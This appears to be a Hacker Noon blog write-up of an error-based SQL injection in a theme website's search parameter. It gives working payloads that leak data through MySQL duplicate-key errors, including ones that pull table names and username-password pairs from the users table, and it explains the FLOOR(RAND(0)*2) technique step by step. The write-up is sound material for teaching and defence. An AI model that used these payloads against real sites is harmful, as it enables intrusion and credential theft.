Hi everybody
I don’t post much write-ups online because most of the work done privately and under NDA , but this time i decided to publish this (anonymously after website owner agreed ) because too many developers insists that you can’t exploit complicated SQL , or non result SQL (example: count(*) sql).
First I got a call from one of my friends told me that a hacker contacted them and told them that he found a sql-injection in their website and express his intentions to blackmail them.
I opened the website and tried to play with the parameter just to check , in a couple of minutes i found a bug in their search page .search page make ajax request when you filter the result to the page , the term parameter is the one is not filtered.
/?FilterThemes?tags[]=free&term='
it generates a database error page with full sql dump ( debug on mode :) ).
ERROR 1064You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near '',themes.tag_title) != 0' at line 1
SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(''',themes.tag_title) != 0 or `themes`.`title` like '%'%' or `themes`.`desc` like '%'%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12
Awesome , but oh wait …
the parameter pass first to count query before it pass to aggregate query.. so must our payload pass the two queries and execute it with union..
OR ….
I remembered uncommon way we used it to exploit blind SQL injection which don’t generate any result to the browser — this way can done only if errors is displayed, great that what we have here , right!
The POC
lets change the payload for a poc
/?FilterThemes?tags[]=free&term=d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
BINGO :)
ERROR 1062Duplicate entry 'hello1world' for key 'group_key'
SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET('d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
',themes.tag_title) != 0 or `themes`.`title` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
%' or `themes`.`desc` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12
Did you notice :) , the expression CONCAT('hello',FLOOR(RAND(0)*2),'world')
has been evaluated and displayed :)
let me explain the sql query and how it works before we finish our exploit.
There is some information you needs to know about MySQL.
To understand more, lets try some queries on our terminal.
Select count(*) from INFORMATION_SCHEMA.CHARACTER_SETS;
Normal count sql to count the number of records inside Information Scheme database (default database in mysql). now lets play with this sql a little.
select count(*), version() x from INFORMATION_SCHEMA.CHARACTER_SETS group by x
again nothing special , we added version() (function retrieve the mysql version) and named it x and then we grouped by it.
+----------+----------------------------------------+| count(*) | x |+----------+----------------------------------------+| 40 | 10.2.3-MariaDB-10.2.3+maria~xenial-log |+----------+----------------------------------------+
Ok lets be aggressive
SELECT count(*), CONCAT(version(),floor(rand(0) *2)) x from INFORMATION_SCHEMA.CHARACTER_SETS group by x;
We added a little change ( floor(rand(0) * 2) )
and if you run this sql you will get
ERROR 1062 (23000): Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'
Do you remember the information i told you before about Mysql requires group key to be unique :).
the ( floor(rand(0) * 2) )
generates a sequence of 0, 1, 1, 0, 1, 1and the version()
will be always the same.
so the the first iteration of count(*) will be
CONCAT(version(),floor(rand(0) *2))
= 10.2.3-MariaDB-10.2.3+maria~xenial-log**0**
Then
CONCAT(version(),floor(rand(0) *2))
= 10.2.3-MariaDB-10.2.3+maria~xenial-log**1**
Then
CONCAT(version(),floor(rand(0) *2))
= 10.2.3-MariaDB-10.2.3+maria~xenial-log**1**
=> here will be duplicated ;) then we got the error
Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'
do you got it :)
lets back to our exploitation.
We got the error , we got the leak .. now we need some valuable informations.
Starting with INFORMATION_SCHEME.tables , we can grab tables names.
with simple script we can grab all tables names by extracting the result from the db error , just feed the script with payload.
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%
now we know the users table. modifying the script with the new payload to grab users data.
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select concat(username,'-',password) from users LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%
Thats it.
Lesson learned
Stay safe.
Hacker Noon is how hackers start their afternoons. We’re a part of the @AMIfamily. We are now accepting submissions and happy to discuss advertising & sponsorship opportunities.
To learn more, read our about page, like/message us on Facebook, or simply, tweet/DM @HackerNoon.
If you enjoyed this story, we recommend reading our latest tech stories and trending tech stories. Until next time, don’t take the realities of the world for granted!